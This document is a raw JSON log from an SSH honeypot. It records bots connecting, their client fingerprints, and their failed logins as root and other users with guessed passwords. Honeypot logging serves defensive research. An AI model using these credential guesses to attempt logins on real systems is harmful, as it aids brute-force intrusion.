{"eventid":"cowrie.login.failed","username":"root","password":"mypass123","message":"login attempt [root/mypass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:55.724360Z","src_ip":"170.106.188.200","session":"029c9fba2a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:56.796603Z","src_ip":"170.106.188.200","session":"029c9fba2a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56330,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfe94dfca17b","protocol":"ssh","message":"New connection: 80.66.85.226:56330 (10.17.0.5:22) [session: dfe94dfca17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:03.598518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:03.605059Z","src_ip":"80.66.85.226","session":"dfe94dfca17b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:03.699378Z","src_ip":"80.66.85.226","session":"dfe94dfca17b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nbvjif","message":"login attempt [root/nbvjif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:03.982726Z","src_ip":"80.66.85.226","session":"dfe94dfca17b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:05.080734Z","src_ip":"80.66.85.226","session":"dfe94dfca17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":33568,"dst_ip":"159.203.135.109","dst_port":22,"session":"f784cbbad0ca","protocol":"ssh","message":"New connection: 43.173.125.185:33568 (159.203.135.109:22) [session: f784cbbad0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:19.742079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:19.747112Z","src_ip":"43.173.125.185","session":"f784cbbad0ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:19.816000Z","src_ip":"43.173.125.185","session":"f784cbbad0ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailuser","password":"123","message":"login attempt [mailuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:20.120749Z","src_ip":"43.173.125.185","session":"f784cbbad0ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:21.192121Z","src_ip":"43.173.125.185","session":"f784cbbad0ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":37208,"dst_ip":"159.203.135.109","dst_port":22,"session":"41a06e56c2e5","protocol":"ssh","message":"New connection: 176.65.148.108:37208 (159.203.135.109:22) [session: 41a06e56c2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:49.704948Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:49.789379Z","src_ip":"176.65.148.108","session":"41a06e56c2e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":37218,"dst_ip":"159.203.135.109","dst_port":22,"session":"61ed2292781c","protocol":"ssh","message":"New connection: 176.65.148.108:37218 (159.203.135.109:22) [session: 61ed2292781c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:49.867941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:49.873246Z","src_ip":"176.65.148.108","session":"61ed2292781c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35438,"dst_ip":"10.17.0.5","dst_port":22,"session":"744ae6151330","protocol":"ssh","message":"New connection: 103.98.149.87:35438 (10.17.0.5:22) [session: 744ae6151330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:49.912102Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:49.955413Z","src_ip":"176.65.148.108","session":"61ed2292781c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:50.003702Z","src_ip":"103.98.149.87","session":"744ae6151330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:50.167847Z","src_ip":"103.98.149.87","session":"744ae6151330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a3","password":"a3","message":"login attempt [a3/a3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:50.656669Z","src_ip":"176.65.148.108","session":"61ed2292781c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kotenok","message":"login attempt [root/kotenok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:51.241523Z","src_ip":"103.98.149.87","session":"744ae6151330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:51.741056Z","src_ip":"176.65.148.108","session":"61ed2292781c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:29:52.472485Z","src_ip":"103.98.149.87","session":"744ae6151330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":40262,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef63318c730a","protocol":"ssh","message":"New connection: 103.91.246.101:40262 (159.203.135.109:22) [session: ef63318c730a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:00.599079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:00.606220Z","src_ip":"103.91.246.101","session":"ef63318c730a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:00.839364Z","src_ip":"103.91.246.101","session":"ef63318c730a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABcd-1234","message":"login attempt [root/ABcd-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:01.732261Z","src_ip":"103.91.246.101","session":"ef63318c730a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:02.957316Z","src_ip":"103.91.246.101","session":"ef63318c730a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":60488,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd1b129f138c","protocol":"ssh","message":"New connection: 171.244.141.86:60488 (159.203.135.109:22) [session: cd1b129f138c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:11.911593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:11.917846Z","src_ip":"171.244.141.86","session":"cd1b129f138c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:12.161671Z","src_ip":"171.244.141.86","session":"cd1b129f138c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:13.172607Z","src_ip":"171.244.141.86","session":"cd1b129f138c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:14.423476Z","src_ip":"171.244.141.86","session":"cd1b129f138c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":32948,"dst_ip":"159.203.135.109","dst_port":22,"session":"07cfe74af560","protocol":"ssh","message":"New connection: 170.106.188.200:32948 (159.203.135.109:22) [session: 07cfe74af560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:18.237754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:18.248166Z","src_ip":"170.106.188.200","session":"07cfe74af560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:18.317073Z","src_ip":"170.106.188.200","session":"07cfe74af560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jc123","message":"login attempt [root/jc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:18.632836Z","src_ip":"170.106.188.200","session":"07cfe74af560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:19.715899Z","src_ip":"170.106.188.200","session":"07cfe74af560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":34096,"dst_ip":"10.17.0.5","dst_port":22,"session":"76743257779a","protocol":"ssh","message":"New connection: 62.133.63.178:34096 (10.17.0.5:22) [session: 76743257779a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:20.781077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:20.789590Z","src_ip":"62.133.63.178","session":"76743257779a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:20.913756Z","src_ip":"62.133.63.178","session":"76743257779a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqqqq","message":"login attempt [root/qqqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:21.279148Z","src_ip":"62.133.63.178","session":"76743257779a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:22.403080Z","src_ip":"62.133.63.178","session":"76743257779a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":51998,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bab85899e5c","protocol":"ssh","message":"New connection: 109.172.54.111:51998 (10.17.0.5:22) [session: 4bab85899e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:27.442413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:27.455609Z","src_ip":"109.172.54.111","session":"4bab85899e5c","protocol":"ssh"}
